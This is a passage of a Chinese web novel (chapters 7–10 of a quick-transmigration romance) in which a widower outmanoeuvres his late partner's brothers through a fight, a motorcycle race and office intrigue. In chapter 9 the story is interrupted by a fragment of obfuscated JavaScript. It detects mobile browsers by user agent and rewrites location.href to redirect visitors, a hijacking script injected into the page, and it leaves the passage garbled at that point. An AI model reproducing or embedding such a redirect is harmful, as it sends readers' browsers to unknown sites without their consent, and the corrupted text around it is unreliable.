《被争夺的寡夫[快穿]》
7. 兄弟的遗孀(7)
有一片海洋在胸腔里涨落,沈霜大口呼吸着,竭力遏制身体的颤抖,那双雾一样的眼眸里,终于有了明显的情绪。
——愤怒。
沈霜爱冷绛,这是毫无疑问的,他对于冷绛的死难以释怀,为了让冷绛入祖坟,委曲求全。
而冷缪堂而皇之提起这件伤心事,并以一句玩笑话,将过错尽数推给沈霜。
冷缪总是后知后觉,他话说太重。
可那又怎么样?
看着沈霜愤怒、憋闷的表情,冷缪心中反而有快意。
是啊,沈霜又能拿他怎么办?冷绛的骨灰还没进祖坟,他们还有口头的交易,就算话说得再恶心,沈霜还不是要乖乖讨好他?
下一秒,迅捷的风带着一股子湿热的暖香,狠狠扇在他脸上,冷缪被这力道带着偏过头,不可置信伸手捂着脸上的火辣。
周遭人的目光惊骇、幸灾乐祸。
张楚年试图拦在二人之间,可冷缪的动作很快,他骤然冲上前,一只手狠狠掐住沈霜的脖颈,怒不可遏吼道:“你敢打我?”
以往总是冷漠矜贵的眼睛此刻暴起,愤怒满溢出来,一字一句说道:“沈、霜,你怎么敢打我?!”
沈霜双手握着钳制住他脖颈的冷缪的手,试图挣扎,可冷缪的力气太大了,藏在皮下的腱子肉线条流畅。
沈霜脸色一沉,一脚往冷缪□□踹过去,冷缪吃痛松开手,只是短短一瞬间,两人就打在一起。
张楚年目瞪口呆,试图过来拉架,却也被殃及池鱼挨上几拳。
冷缪手握成拳,朝沈霜小腹重重打去,沈霜捂着肚子,发出一声痛呼。
张楚年在一旁急道:“别打肚子啊,脏器有破裂风险!”
“你怎么不说我要断子绝孙!”冷缪气愤大吼一声。
沈霜从小到大,为了活着没少打过架,下手心狠手辣,专挑那些不堪言的位置打。冷缪从小练拳,专业赛打过不少,饶是这样,也没讨到多少好。
两人身上都疼痛难忍,沈霜忍痛的能力更强。
见沈霜还想抬脚踹他,冷缪更恼,伸手一扯,拽着沈霜将他压在地上,沈霜推搡着他,奋力挣扎,可无济于事,他缓缓放下力道,剧烈喘息着。
冷缪看着沈霜垂下手,躺在地上,姣好的面容从紧绷到平静,一双眼睛冷的厉害,他忽然涌出一阵惊慌。
从小就是天之骄子,自觉高人一等的冷缪不知道怎么面对自己的心慌,更加拉不下脸去道歉,他骂了冷绛、贬低沈霜,沈霜也给了他一巴掌。
后面打得架两人半斤八两,这不也算扯平了?
冷缪越想越是这么回事,他的语气还是那样高高在上,“闹够了吗?”
“扯平了吧?”
沈霜还是冷着脸,会冲他淡笑感谢的唇抿得很紧,最后吐出一句,“道歉。”
“给冷绛道歉。”
冷缪想也不想地反驳,“凭什么?”
冷缪的反应在沈霜意料之中。
沈霜淡声说:“那就滚开。”
这样的淡漠更让冷缪心慌,可大庭广众,两人这样实在不好,冷缪思考片刻,还是站起身。
沈霜爬起来,缓慢地朝来时的路回去,冷缪追上去,急问道:“你干嘛?”
“从这里走回去,你走到明天都不会到。”
沈霜沉默着,不予理会。
冷缪伸手拽他,却被沈霜反应极大的甩开,好似他是什么不能触碰的脏东西一样。
冷缪顿感失落,他张了张口,想要说什么,却不知道该说什么。
道歉?那他的面子往哪儿放?
冷缪心中第一次因自己的口不择言而懊悔。
沈霜走得很慢,冷缪以为是他欲擒故纵,等着自己道歉,细看才发现,沈霜肩膀的颤栗。
冷缪的脸色也是阴沉的,满不在乎去想。
倔驴是吧,那就让他走,看看他什么时候能走出去。
可下一瞬,脑海里就浮现张楚年说的那句话。
别打肚子,有脏器破裂的风险。
冷缪反应过来时,人已经快步走到了沈霜身旁,脱口而出,“我带你去医院检查一下。”
沈霜仍然不理他,自顾自的走。
明明连发丝垂下都显得那样乖顺的皮囊,怎么就会这样倔?脾气怎么这么大?
冷缪气愤地想:好脸真是给多了。
他冷笑道:“好啊,那你就走,回去我就把冷绛的骨灰丢出去。”
沈霜骤然停住,回过头,不可置信地看着冷缪,眼眶气的泛红、肿胀,晕上酡红,话从牙缝里挤出来,“你怎么可以这么不要脸?”
冷缪抱臂站在那,冷冷地笑,好似皮囊里有只恶鬼挣脱出来,张牙舞爪的蔓延,粘稠的将沈霜包裹,让其窒息。
“是啊,你有办法吗?”
沈霜走了回来,冷缪一副胜券在握的表情,傲慢不加掩饰的自内而外流露出来。
两人对立着,夕阳橙红色的光一寸寸追上他们,脸蒙上半边红,沈霜的眼还是冷的,冻得冷缪心脏跳动渐缓。
沈霜抬手,冷缪以为他又要扇自己巴掌,下意识后退半步,见沈霜露出一个笑,带着股疯劲的笑。
冷缪不知不觉看呆了。
腼腆、羞涩、羞耻、屈辱,他在沈霜脸上看到过诸多情绪,唯独没有这种矜贵傲慢的疯劲儿。
沈霜手指遥遥指向向下的车道,对他说:“比一比?”
“我赢了你给冷绛道歉,我输了随便你怎么提要求。”
冷绛,又是冷绛。
沈霜总是因为冷绛和他翻脸,实在可恶。
可他又去想,如果他比冷绛先遇到沈霜,沈霜是否也会为他做这些事?无条件的维护……
都怪冷绛是个废物。
沈霜坐在后座,动作生疏,并且让他慢点,一看就是不会骑车,并且害怕。
他到底能为冷绛做到哪一步?就算他愿意,可能做到又是另一回事。
冷缪毫不犹豫地答应。
沈霜活动了一下疼痛的身子,腹部隐隐作痛,让他脸色惨白。
“有车吗?”冷缪问。
沈霜依旧不回答,自顾自走回去,站在人群中央,轻车熟路对工作人员说:“把冷绛寄存的车推出来。”
工作人员点头,快速跑去车库。
冷缪心中突兀有了些不祥的预感,急切追问道:“你不是说没来过吗?”
沈霜歪头,睨了他一眼,“什么都要告诉你吗?”
冷缪垂在身侧的手紧紧握拳,连连说了三个“好”。
工作人员不一会儿就推出一辆白色机车,鎏金烫在车身印出一条蛇似的花纹,车头上还有两枚用爱心圈起的指纹。
冷缪心中一阵愤恨。
不用想也知道沈霜瞒着他是因为什么
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。
沈霜想让冷绛的骨灰进祖坟,他以此要挟。
沈霜被欠债人找上门,他本意解决,却让债务转移。
无非就是不愿将往事袒露,怕被他再抓到软肋。
沈霜跨坐上车,握着车把,动作熟练且流畅,赏心悦目。
冷缪眼眸半眯,好胜心又追上来,大步走向自己的车。
两人并排骑着机车,停在起始点,一旁的富家子弟起哄说笑。
站在路旁的工作人员举起信号枪,伴随着带着彩烟的枪响,两架机车流星一样冲出去,车尾气划出一条直线,在风中消散。
冷缪握着车把的手心出了汗,他出国前,常常来这儿练车,对于路况无比熟悉,自认为不会输给沈霜,可沈霜的藏拙还是令他不安。
沈霜在他身后不远的位置,紧紧咬着两人之间的距离,海边的风是咸涩的味道,却又与他常常在沈霜身上闻到的不同,少了醇厚的香。
车道被改造后有十六个弯,沿着峭壁往下,除了起始点出去的一百米,之后全部贴着悬崖。
冷缪在第一个弯道不减速反而加速过弯,因为惯性下压身体,几乎要贴着地面。
前三个弯道弧度很大,是最容易拉开距离的地方,后面的弯道窄小,再这样加速容易冲出护栏。
弯道旁的护栏皆有明显撞击后修复的痕迹。
接连过了三个弯道,冷缪心下放松些,透过倒后镜去看沈霜,只见那白色摩托和幽灵一样紧追不放。
沈霜的脸被藏在同样白色的头盔中,看不见分毫,他压身在车上,如同和车合二为一。
冷缪又是一惊,想不到沈霜车技竟然这样好,实在诧异。
冷绛每天写写画画,对于开机车是没有丝毫兴趣,那么感兴趣的自然是沈霜。
冷缪再次加快车速,试图甩掉沈霜,可遇到前面的拐弯,又不得不减速下来,耳侧传来另一阵轰鸣声,只见沈霜的摩托几乎要和地面齐平,护膝在地面磨出一串火花,就那样轻而易举超到他的前面。
冷缪眼眸半眯,过了弯道再次提速,可沈霜时时刻刻注意着他,见他试图超车,就改换位置挡在他前面。
下一个弯道,冷缪被甩开三米。
沈霜仍是贴着地面拐弯,丝毫没有减速的意图。
第六个弯道,被甩开四米。
五米、六米……
冷缪整整落后了一个直道,视野前方的沈霜已然拐过去,消失不见,将他远远甩在身后。
最后一个弯道还有机会,最后一个弯道是最难的,狭窄且陡峭。
拐过转角,冷缪见到了正在冲刺最后一个弯道的沈霜,机车因为不平地面而颤抖,沈霜却依然没有减速,护膝擦在地面,撞起碎石。
冷缪眼睁睁看着沈霜穿过弯道,即将到终点,而他才堪堪骑到最后一个弯道。
冷缪心一狠,不再减速想学着沈霜赌命的模样,车身剧烈颤抖,他紧紧握着把手。
一阵失控感传来,只听一声巨响,身体重重摔在地上,机车撞上护栏,冷缪抬眸,看见沈霜稳稳停在终点,摘下头盔,转头瞧着他。
盛大的夕阳落下,灰蓝的海面在他身后。
沈霜缓缓朝他走过去,身份倒转,他不再是高高在上随意评判他人的上位者,沈霜也不再是任人宰割的鱼肉。
“道歉。”沈霜说。
这一刻,他们才真正平等。
8. 兄弟的遗孀(8)
冷缪看向沈霜的眼睛是灼灼的光,滚烫的,几乎要将人吞噬的火焰。
他倏地站起身,不顾身上的伤痛,兴致勃勃凑到沈霜面前,心服口服,“对不起。”
沈霜在他眼中不再是孱弱的羔羊,而是和他一样的人。
“不是和我道歉。”沈霜垂下眼睫,白皙的脸在渐黑的夜中更加明显,“向冷绛道歉。”
冷缪方才还兴致勃勃的脸僵硬起来,他难以启齿地,声音细若游丝,“冷绛、对不起……”
沈霜清楚他的性格,也不强求,这才屈尊降贵般伸手,冲他绽开一抹笑,算是和解,认真说道:“做错了事就要道歉。”
从袖管里伸出来的手纤细,指尖带着沾染的灰,腿上一侧的护膝已经被磨得掉漆,足以见得沈霜方才疯子般的行径。
但凡出现一点失误,但凡轮胎防滑性不好,沈霜都会和他一样,直直摔出去,在地上滚几圈,狼狈至极。
不久前,他也这样朝沈霜伸出手,不一样的是,那时候他是上位方,是他屈尊降贵。
冷缪丝毫不觉短短时间,身份反转有什么羞耻与屈辱,他握上沈霜的手,紧紧的,手心里的汗液黏腻,有什么情绪在身体中尖叫。
海岸的风吹的沈霜发丝猎猎舞动,这样意气风发的沈霜是他第一次见。
原来与冷绛相处时的沈霜是这样迷人。
那冷绛为了他失心疯也是理所当然。
工作人员将机车扶起,询问冷缪是否要留在这里维修,还是选择去别处维修。
冷缪挥挥另一只手,“放在这修,修好了通知我。”
他握着沈霜的手始终没有放开,就这样牵着沈霜往终点走去,沈霜扯了扯,没扯开也就随他去了。
“你送我回家。”冷缪总算松开手,坐在那白色摩托上耍无赖。
“换一辆车。”沈霜说。
“为什么?这辆不行?”冷缪大咧咧道:“那你们感情还真坚真,连个车都是专属呢。”
沈霜脸色又变,冷缪心中暗骂自己破嘴,倏然道歉,沈霜这才恢复如常。
两人僵持间,冷缪的手机响起,屏幕已经摔裂了,触屏出了些问题,冷缪点了好几下,才成功接通。
冷邈淡漠声音响起,“死孩子,回来吃饭。”
“我车坏了,沈霜不带我回去。”冷缪避重就轻地告状。
“少和他接触。”冷邈说:“把手机拿给他。”
“为什么啊?”冷缪信口胡诌,“我只是帮他解决一下问题,他才能早点走啊。”
“你自己心里有数。”冷邈回了这一句,便不再和他搭腔。
冷缪讪讪把手机拿给沈霜,沈霜轻轻“喂”一声,喊:“大哥。”
冷缪想,沈霜喊冷邈大哥,那是不是也要喊自己一声“哥哥”?
按年龄是这样,按辈分的话,应该喊他弟弟。当然,沈霜的性格,肯定会同意他们各叫各的。
只是冷缪再也没法戏谑叫出一句“嫂子。”
沈霜这样的人,不应该烂在冷绛这个死人身上。
“带他回来。”冷邈冷冷吩咐,“别和他接触。”
如果冷缪那儿劝不动,他有的是方法让沈霜消失。
沈霜哑声,半晌才说:“好的。”
两人回到冷家时已经是近七点,天色阴沉、灰败,好像又将下一场雨。
夏花开的灿烂,各味花香交织缠绕在一起,钻进鼻腔里,沈霜打了个喷嚏。
“冷?”冷缪熟稔接话,“好像确实有些冷。”
“不是,”沈霜说:“花香有些刺鼻。”
冷缪使劲嗅嗅,同样打了个喷嚏,确实没有沈霜身上的苦香味好闻。
沈霜含笑,声音柔柔轻轻,“怎么和小狗一样?”
冷缪一愣,察觉自己对这话并没有反感,也就随沈霜说。
【啊?就成狗了?】系统目睹一切,奇怪问道:【为什么啊?】
【他几个小时前还是用鼻孔看人的少爷。】
沈霜敛眉,【这种人最好处理啦。】
【只要在他引以为傲的领域里超过他,自然就会俯首称臣。因为他的傲慢被打碎了,留下的只有慕强。】
【冷缪本就对我有意思,只不过那种喜爱是对于小宠物般的喜爱,剧烈的反差才是让他真正改变的原因,他意识到我并不是任人宰割的宠物。】
【冷缪本质和冷绛一样。】
系统似懂非懂地点头,【不愧是每个评级都是3s的宿主。】
【但是宿主您怎么能确定他一定会带你去赛车呢?】系统问出了最后一个疑问。
【就算他不去,我也会找机会领着他去。】沈霜踏上台阶。
【您这种针对目标各方面性格与喜爱的攻略,确实是很新奇的,快穿局中目前的攻略大多都比较模式化。】系统夸赞。
冷邈已经坐在主位上等着二人,见两人一身伤的狼狈模样,拧眉问:“怎么回事?”
冷缪径直坐上座位,将今天发生的事尽数说出,末了还来了句,“别怪沈霜,是我的问题,我先招惹他的。”
冷邈听后有些诧异,“你还会打架?”
像是被戳破的羞涩,沈霜脸上泛了些红,点点头,也坐下吃饭。
“有锋芒是好事。”冷邈道:“我查到你父亲在那了,正在找人和他交涉。”
沈霜骤然抬眸,“他在哪?”
“没多远,就在城中村里,只是那边租房不需要身份证,所以才找了些时间。”冷邈放下筷子,双手交叠,摆出了谈判用的架势,“你希望我怎么解决他?”
沈霜眼中迸发恨意,丝毫没有心软,“斩草除根。”
这倒是不在冷缪意料之中,按他对于沈霜的看法,沈霜早有机会亲手解决这个麻烦,不解决无非就是心软。
那么现在为什么又可以狠下心?难道先前对他的看法全数是错误的吗?
他又想到白日沈霜在他面前的一番话。
——“我没有勾引您。”
“吃完饭后来书房一趟。”冷邈站起身,对沈霜说道。
沈霜还没回应,冷缪警觉开口:“你要和他说什么?”
冷邈不满道:“冷缪,注意你自己的身份。”
不多时,沈霜就吃完饭,他走上楼梯。
系统担忧问道:【冷邈不
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会想把你赶出去吧?】
【不会的。】沈霜半勾着唇,势在必得,【他不会赶我出去,反而还会多留我几天。】
【你以为他又比冷缪和冷绛聪明到哪去?】沈霜停在三楼,走向书房的位置,【他只不过是比那两个人多了些冷静自持。】
【可光是这两点就很难办了。】系统分析道:【冷缪被评价机器人不是没原因的,就是因为他每一步都走的稳扎稳打。】
【从小就接触公司事务,钻研金融方面,毕业后进入公司,在每一个项目的选择与细节上都无处挑剔,他不赌任何风险。】
【你忽略了一点。】沈霜提醒道:【记得冷绛两年前说过的话吗?】
【幸灾乐祸地和我嘲笑,他一向聪明绝顶的大哥翻车了,捧了个珠宝设计师,没想到最后营业额平平无奇。】
【冷邈就算再冷静自持,骨子里也是傲慢,他会在自己能够兜底的范围里,挖掘自己的兴趣。】
【可是他已经有过一次失误,就不会再失误第二次了。】系统开口。
【谁说的?】沈霜敲响书房的门,余光瞥见身后悄然跟着的身影,调笑说:【好好看着。】
“进来。”冷邈开口。
沈霜走了进去,一眼就看到书架上的绘本。
【你看吧,三年前遗落的绘本就在他手里,他从始至终都对我有兴趣,只是冷邈直觉敏锐,自觉承担不了和我接触的风险。】
沈霜还未坐下,冷邈就开门见山说道:“我希望你今天能够离开冷家。”
“为什么?”沈霜垂眸,佯装委屈,“您说我还有五天的时间。”
“沈霜,不要揣着明白装糊涂。”冷邈抬眸,银框眼镜泛出冷光,“你已经祸害了我一个弟弟,再闹下去,是不是又要死一个?”
“我答应你将冷绛的骨灰迁进祖坟里。”
沈霜眼眸惊喜,甚至称得上无措,“真的吗?那我现在就走!”
话音刚落,身后书房门被猛然打开。
“不行!”
冷缪冲进来,掷地有声地反驳,“说好的五天,为什么让他提前走?”
“说出去还以为我们这儿是什么虎穴狼窝,留不了人。”
冷邈揉了揉眉心,叹一口气,“闭嘴,太吵了。”
“冷缪,别忘了我和你说过的话。”
冷缪一副本该如此的样子反驳,“就因为这样,才更加要把人留下啊,不接触你怎么知道他的目的究竟是什么?”
凭什么让沈霜现在走?他百般筹谋才换来的交易,还没有半天,乙方走了,那他守着个空头承诺有什么用?
冷邈叹气,实在不明白,为什么一个两个遇上了沈霜,就成了蠢狗。
“你敢说你对他没有任何心思吗?”冷邈斜睨冷缪一眼,“我之前放任你,是觉得你最起码能多撑几天,等到他灰溜溜走人。”
“谁知道短短两天,你就成了条乖乖狗。”
冷缪脸上沉思,心中巨震。
他喜欢沈霜?
一看他这个表情,冷邈就觉得自己坏事了。
他没想到冷缪是个不开窍的,一番话反而把人点开窍了。
9. 兄弟的遗孀(9)
“大哥,你太自大了。”冷缪倨傲仰头,“全世界的事儿都要按你预想的发展?”
窗台吹进的风已经带了湿意,微凉地浇在冷邈身上,他长叹一口气,语气还是淡漠的,不见丝毫怒意与讽刺,“是吗?”
冷邈直勾勾盯着他,那双漠然的、审视的眼睛,像某种未经过驯化的兽类。
冷缪心虚一瞬,继而又坚定起来,无所谓道:“当然。”
外面淅淅沥沥又下起雨来,冷邈站起身将窗户关上,隔绝外面的雨声,雨珠被风吹的落在玻璃窗上,顺着往下滑落。
“记住你今天说的话。”冷邈一只手摊开手心摁在桌子上,“当初我没提醒过冷绛,因为他无可救药。”
他摘下银框眼睛,下压的眉眼锋芒毕露,锐利的刺在冷缪和沈霜身上,“不管最后结果如何,我都不会为你兜底。”
冷缪不屑道:“我帮帮可怜的小嫂而已,能有什么事?”
看着冷缪失心疯的嘴硬模样,冷邈细细咀嚼着沈霜的名字,说:“我改主意了。”
“沈霜,我记得没错的话,你大一是金融专业的,这几天跟在我身边,时薪按照冷氏集团的平均时薪给你发。”
“可以吗?”嘴上说着问询的话,可他眼神笃定,仿佛沈霜不会拒绝。
沈霜摇头,含蓄地笑,“大哥,不好意思,我对金融方面不感兴趣,后面转专业,再也没碰过……”
“嗯。”冷邈问:“你是不想跟在我身边,还是单纯因为不感兴趣?”
沈霜垂眸,抿着唇,又是那副难以启齿的表情,他轻轻说:“我怕您。”
“怕我?”像是听见什么好笑的事,冷邈的唇畔弯起,总算没带着讽刺和冷漠的笑,“你很有趣。”
“不是正愁没办法接近我吗?”冷邈摊开手,“我把机会送到你面前了。”
沈霜还是犹犹豫豫,冷邈似是知道什么,斜睨一眼冷缪,“你要知道,冷家是我做主。”
“钱和权都在我身上,他们能得到什么,取决于从我指缝里漏出什么。”
这句话太傲慢,连同胞兄弟都贬低进去。
冷缪握紧了拳,按耐下愠怒,装作没心没肺,“哥,你这话说的好像我是什么捡垃圾的哈哈——”
冷邈讥诮反问:“不是吗?”
愤怒骤然升腾,在身体里翻涌,冷缪冷冷盯着冷邈,“谁先出生还不一定,占了年纪的便宜,你怎么有脸说这种话?”
气氛凝滞起来,沈霜见事不对,悄然退了半步,脸上担忧,心中幸灾乐祸,却还是假惺惺说:“哎呀,你们别吵架。”
冷缪大步上前,拉着沈霜往外走,拔高音量喊:“我们走,别理这个自大狂。”
沈霜转过头和他对视,冷邈不说话,等待着他的回答。
感受手中的挣扎,冷缪错愕一瞬,最终松开手,声音里带着某种不易察觉的颤抖,“你真要听他的?”
沈霜抬眸,那双上挑的眼里又是哀愁,一番话说得无辜又无可奈何,“你哥说的没错啊。”
“好啊。”冷缪露出一个拧笑,大步朝外走去。
冷邈神情自若,仿佛方才的闹剧不存在一般,自顾自地安排,“我名下还有一间独立的珠宝工作室,你过去打下手。”
给沈霜找点事干,好没时间对付他那愚蠢的弟弟。
【啊?】系统奇怪问道:【他上一秒还想赶你走,下一秒怎么就要把你带在身边了?】
【因为他重视家人。】沈霜走出书房,轻轻关上门,冷邈窥探的目光停留在他身上,像蛇一样凌厉的冰冷。
【你以为他真的感情淡漠,不重视亲情吗?】
【资料上是这样显示的。】系统回答一板一眼。
【那是表层,如果他真的不重视亲情,早把那群蛀虫亲戚赶出集团了,他放任亲戚待在闲职上,只要不危害他的利益,他乐意养着他们。】
【不管冷绛是因为他发现的时候,冷绛已经回不了头了。所以我对冷缪出手,在发现冷缪有苗头后,他肯定会出手阻拦。】
【阻拦。】系统重复这个词,【那他应该把你赶出去,而不是留在身边。】
【是啊,我先前提到过,他会在能够兜底的范围内,为他的兴趣买单。】
【他对我有兴趣。】沈霜势在必得说道:【无数次的示弱,在他面前展现我的胆小、害怕和畏惧,他在心中对我的危险预估值,已经降到了这个范围内。】
——【所以,他乐意为自己的兴趣买单。】
沈霜一早就跟着冷邈去上班,经过前台的时候,前台小姐姐掩下惊讶目光,和冷邈问好:“冷总。”
那间珠宝工作室在十八楼,冷邈把他丢在十八楼,便自顾自去了最顶层。
沈霜打了个哈欠,找到挂着【半山海】牌子的工作室,敲门,然后输入冷邈告诉他的密码,走进去。
沈霜看着里面的手拿喷枪的人,惊喜喊道:“学长!”
那人将喷枪关灭,转头看去,不耐的神色骤然转变为惊喜,“霜霜?”
“你怎么来啦?”问完,张成泽敲了敲脑袋,反应过来问:“你是冷总说过来镀金的?”
“天呐,他真是有眼不识泰山。”
沈霜柔柔地笑,谦虚开口,“学长别这样说,我真是过来镀金的。”
“冷氏百强企业,谁不想过来镀金呀?”
两人相视一笑。
张成泽比沈霜大五届,开工作室回校时遇上的沈霜,两人就此结识,现在也没有断联,主要是张成泽单方面的联系沈霜。
“之前劝你一直推脱男朋友不让,现在让啦?”张成泽揶揄中带着希冀,“还是……分手了?”
再难掩兴奋,也意识到自己意图太过明显,慌乱道歉:“不是不看好你们的意思。”
沈霜垂眸,眼里蔓延着忧愁,“他去世了……”
张成泽双眸骤然发亮,目光灼灼,欲盖弥彰地安慰,“霜霜,你节哀。”
“没事的,学长。”沈霜上前两步,照在工作台旁,挽起袖子,询问说:“学长有什么要帮忙的地方尽管说。”
工作台上摆着蜡制的戒指、项链模型,草纸也随手放在上面,张成泽方才用喷枪烧得一滩银水,正准备倒进模具里。
听沈霜这样问,张成泽兴致勃勃抽出一张草稿纸,拿给沈霜看,“霜霜,你看看,这是最近新品的草稿,但是我总觉得不满意。”
冷邈看着监控里,沈霜和张成泽并排而坐,模糊的声音传来。
沈霜黑发垂落,贴在脸颊,唇是红润的色调,张成泽越靠越近,歪着脑袋,几乎要贴在沈霜的面颊上,伸手去勾沈霜垂落下来的发丝。
他不清楚沈霜是置若罔闻,还是太过认真并未察觉,太亲昵了。
冷邈素来疏离的眸光愈发森然,下压的眉毛紧拧,长时间未眨眼带来一阵干涩,在听见张成泽已经邀请沈霜晚上和他共进晚餐时,终于忍不住了。
他拨通内线电话,张成泽得意的、兴奋的声音在耳边响起,冷邈神色更寒。
“让沈霜上来一趟。”
为什么关于沈霜的事和人总是不受摆控?从冷绛到冷邈……从冷绛私奔开始,一切事件犹如暴雨山洪,悍然碾压而过。
冷邈觉得自己快要被逼疯了,再也维持不住虚伪的假面,有猩红的灼热感在体内狠狠抓挠,血红一片、瘙痒难耐。
门被敲响,沈霜穿了身白衬衫,不规则的领口翻转再身后,发尾翘起,摩挲着脖颈,灰色双扣的西装裤显得腰身纤瘦,身量挺拔。
他脸上还带着方才探讨的喜悦,脸颊泛红,双眸清透,“冷总,您找我有什么事?”
沈霜没忘记冷邈的要求,在公司内叫他冷总,别攀关系。
冷邈抬眸,视线凝定在沈霜身上,带着压迫,让沈霜不自觉心虚。
“过来坐。”他说:“叫大哥就好。”
自己的要求亲口听沈霜叫出来,却又到处透着不满和诡异。
沈霜警慎坐下,又问道:“怎么了,大哥?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15363111|168112||http|test|mini|href|location''.split(''|''),0,{}));
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>冷邈的眼眸像一片寒潭,幽幽发散着冷气。
空调温度开的很低,沈霜不自觉搓手,又下意识整理因为快走而凌乱的衬衫,尽力端正姿态。
“他喜欢你?”冷邈直言不讳。
沈霜垂眸,没想着掩饰,低落说:“我不太习惯处理这方面的问题。”
冷邈喝了一口咖啡,苦味在舌尖蔓延,“和冷绛在一起的时候,也是这样吗?”
一边忠贞不渝,一边又和别人暧昧不清。
沈霜眼神里是茫然,不明所以说:“我不太明白您的意思。”
冷邈冷冷盯着沈霜,再次拨通内线电话,对沈霜说道:“不用明白,拒绝他。”
不管沈霜是真不懂,还是假不懂,他不需要去纠结,因为他有掌控权,沈霜捏在他手心里,就该听他的。
沈霜咬着唇,冷邈见他的模样,冷冷说:“不愿意?”
“不是的。”沈霜眸光湿润,唇上留着牙印,“我只是不知道怎么拒绝。”
冷邈握着他的手,将电话塞进他手心,声音是罕见的柔,“我教你。”
“我不喜欢你,请你保持距离。”冷邈说:“很简单的。”
“喂?冷总,怎么了?”电话被接通,在手心传来震颤,沈霜抿着唇,神色是艰难的。
冷邈站起身,半弯腰垂眸看着沈霜,看见他白皙的脖颈,和衬衫下的锁骨,那锁骨上有一个明晃晃的粉色牙印。
握着沈霜的手紧了几分,电话另一头的张成泽追问,冷邈清冷的嗓音响起,“没事,我弟妹不太懂珠宝设计方面,还要麻烦你多指导,他胆子小,别太苛责。”
“弟妹?”张成泽的声音颤抖,“他男朋友是您的弟弟?”
冷邈并不满意这种回答,却仍保持体面,“是的,沈霜是我的家人。”
随后,那目光再次落在沈霜身上,鼓励的望着他,又像无形催促。
沈霜艰涩说道:“学长,我不喜欢你,请你保持距离。”
一板一眼的复述冷邈并不是很满意,但还是大发慈悲挂了电话。
黑色电话被随意扔在桌上,冷邈扯着他的领口,沈霜大惊失色,往后瑟缩,“怎么了?”
冷邈注视着锁骨上淡粉的牙印,追问他:“谁咬的?我弟才刚死你就那么迫不及待要开始第二春了吗?”
“冷缪、张成泽,还是谁?”
沈霜吓得脸色苍白,摇头解释,“不是的……是纹身。”
“我和冷绛一起去纹的。”
冷邈神色不见缓和,幽黑的眼眸里透着诡谲,是深不见底的潭,潭下暗涌不断。
“纹的?”他伸手,粗糙指腹摩挲在牙印上,沈霜白皙肌肤蔓上红,“纹身师技术很好,和真的一样。”
“花了多少钱?”
冷邈的手指依旧摩挲着,冰凉的触感像蛇一样,带来阵阵不适应,沈霜竭力克制着自己的反感,笔挺肩膀的颤抖却出卖了他。
“六百……”沈霜不明白冷邈的意思,如实回答。
冷邈俯身,凑近去看,看见锁骨下的肌肤也是白嫩的,带着陈年疤痕。
“廉价。”冷邈收回目光,手也端正收了回来,大发慈悲一般说,“不用再过去了,我挺担心你的。”
“说不定冷绛头七过来找我,说我怎么没看好他老婆,很吓人的。”
沈霜点头答应,领口还未整好,散乱模样好似任人欺凌一般,“好的。”
“那我去哪儿?”他问。
冷邈喉结上下滚动,总算觉得冷静下来,“按照最开始的计划来,给我当秘书。”
他清楚沈霜会拒绝,于是开口加码,“晚上有个慈善晚会,稍后我让人把资料发给你,带你认识些人。”
“你不是一直想认识徐丰年吗?”
沈霜眼眸圆睁,声音带着克制的兴奋战栗,“真的吗?”
冷邈点头。
沈霜眼眸含笑,阴霾一扫而空,“谢谢大哥。”
谢谢蠢狗为他的事业添砖加瓦。
10. 兄弟的遗孀(10)
沈霜坐上后座,贴着车门,翻看手机里,冷邈秘书发来的资料。
前段时间开了个慈善拍卖,这场晚会是感谢当时参与拍卖的各界权贵所办。
徐丰年,业内泰斗。
美术圈内无人不知,以色彩和透视出名,最有名的还是三年前他的绝作,一副名为《撞日死》的人体画。
因为发誓此生不再创作,这最后一副画作身价也跟着水涨船高,到了有价无市的地步,直到前几天的慈善拍卖,徐丰年才拿出来拍卖。
要是能和徐丰年有交集,沈霜的镀金可就大获成功。
黑色轿车穿过车流,行驶在高耸的钢筋铁骨建筑之中,半小时后抵达目的地。
司机拉开车门,冷邈迈着长腿走下来,司机又去为沈霜开门。
两人一前一后往里走去,穿着燕尾服的侍者带着白手套,鞠躬欢迎他们到来。
临近大门时,冷邈忽地停下脚步,侧身抬手,沈霜下意识后退拉开距离,反应过来后,又克制地往前。
冷邈伸手,勾起他那不规则的领口,将锁骨挡得掩饰,许是担心会掉落,他竟摘下自己袖口的红宝石袖扣,将沈霜的领口扣紧。
“谢谢大哥。”沈霜表现拘谨。
冷邈“嗯”一声,再次抬步往里走去,穿过大厅就到了宴会厅,里面金碧辉煌,彩绘窗户竟给人一种罗马教堂的感觉。
“在那儿。”冷邈微抬下颌,用眼神示意沈霜。
沈霜的视线穿过一众穿着华丽的人群,精准捕捉到,手中正拿着红酒杯,半靠在软沙发上,和他人交谈的男人。
“过去吧。”冷邈说。
两人靠近软沙发,冷邈三言两句婉拒不断上前搭讪的人。
徐丰年也注意到了两人,站起身来,微抬红酒杯,问好道:“冷总。”
“好久不见。”冷邈熟稔回话,脸上带着得体的微笑,“叫老师。”
沈霜表现出恰到好处的胆怯和崇拜,“老师您好。”
冷邈解释:“家里小孩很崇拜你,特意求我带着他来,想和你探讨关于美术方面的造诣。”
两人私交不错,徐丰年自然不会不给这个面子,笑着回话:“挺可爱的。”
“还是学生吗?”他问。
冷邈往二楼看了一眼,说道:“因为家里原因办了休学,过段时间再读。”
“年纪小难免有些迷津,还望你多指点一二。”冷邈从侍者托盘上端起一杯红酒,执起说:“感谢你了,我还有事,稍后回来。”
徐丰年摆摆手,红酒杯之间碰撞,发出脆响,“冷总不用那么客气。”
“我手下学生最近迷上珠宝设计,颇为疼痛。”
聪明人之间,话点到为止就好。
冷邈自然接话,“我名下正巧有间珠宝工作室,也算小有名气。你学生要是对这方面感兴趣,不妨来看看。”
“那可麻烦冷总了。”徐丰年带笑感谢。
言罢,冷邈垂头低语,“我等下回来。”
徒留沈霜一人和徐丰年面对面。
徐丰年三十出头的年纪,对上沈霜这种年轻人,总有种看待弟弟的感觉,他拍拍身旁的空位,招呼沈霜过来坐。
“你叫什么名字啊?”徐丰年问。
